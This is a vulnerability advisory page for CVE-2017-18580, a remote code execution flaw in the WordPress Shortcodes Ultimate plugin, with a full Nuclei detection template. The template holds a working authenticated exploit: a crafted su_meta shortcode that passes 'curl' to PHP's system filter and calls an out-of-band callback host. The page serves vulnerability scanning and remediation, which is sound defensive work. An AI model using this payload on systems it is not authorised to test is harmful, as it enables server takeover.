WordPress Shortcodes Ultimate <= 5.0.0 - Authenticated Remote Code Execution

criticalseverity

8.8CVSS score

12.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Shortcodes Ultimate plugin before 5.0.1 for WordPress contains a remote code execution caused by a filter in meta, post, or user shortcode, letting remote attackers execute arbitrary code, exploit requires sending crafted shortcode data.

Impact

Remote attackers can execute arbitrary code on the server, potentially leading to full site compromise.

Fix

Update to version 5.0.1 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/post-new.php
Positive when: status_code == 200 and contains(body, "_wpnonce")
Send: POST /wp-admin/post.php
Positive when: status_code == 302 and contains(header, "post=")
Send: GET /?p={{post_id}}&preview=true
Positive when: status_code == 200 and contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http")

Run it with nuclei: nuclei -id CVE-2017-18580 -u <target>

The full check

id: CVE-2017-18580

info:
  name: WordPress Shortcodes Ultimate <= 5.0.0 - Authenticated Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Shortcodes Ultimate plugin before 5.0.1 for WordPress contains a remote code execution caused by a filter in meta, post, or user shortcode, letting remote attackers execute arbitrary code, exploit requires sending crafted shortcode data.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full site compromise.
  remediation: |
    Update to version 5.0.1 or later.
  reference:
    - https://wpscan.com/vulnerability/efad59c8-e6ae-4167-9c78-d3ea52fe5bba/
    - https://plugins.trac.wordpress.org/changeset/1756323/shortcodes-ultimate
    - https://blog.sucuri.net/2017/11/formidable-forms-shortcodes-ultimate-exploits-in-the-wild.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18580
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-18580
    cwe-id: CWE-94
    epss-score: 0.12092
    epss-percentile: 0.96181
  metadata:
    verified: true
    max-request: 4
    vendor: developer_developer
    product: shortcodes-ultimate
    framework: wordpress
    publicwww-query: "/wp-content/plugins/shortcodes-ultimate/"
  tags: cve,cve2017,wordpress,wp-plugin,shortcodes-ultimate,rce,authenticated,oast,wp,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/post-new.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "_wpnonce")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'metabox-base-form">\s*<input type="hidden" id="_wpnonce" name="_wpnonce" value="([a-f0-9]+)"'

      - type: regex
        name: post_id
        part: body
        internal: true
        group: 1
        regex:
          - "id='post_ID' name='post_ID' value='([0-9]+)'"

  - raw:
      - |
        POST /wp-admin/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=editpost&post_ID={{post_id}}&post_status=draft&post_type=post&_wpnonce={{nonce}}&post_title=nuclei-rce-test&content=%5Bsu_meta+key%3D1+post_id%3D1+default%3D%27curl+{{interactsh-url}}%27+filter%3D%27system%27%5D

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "post=")
        condition: and
        internal: true

  - raw:
      - |
        GET /?p={{post_id}}&preview=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns") || contains(interactsh_protocol, "http")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from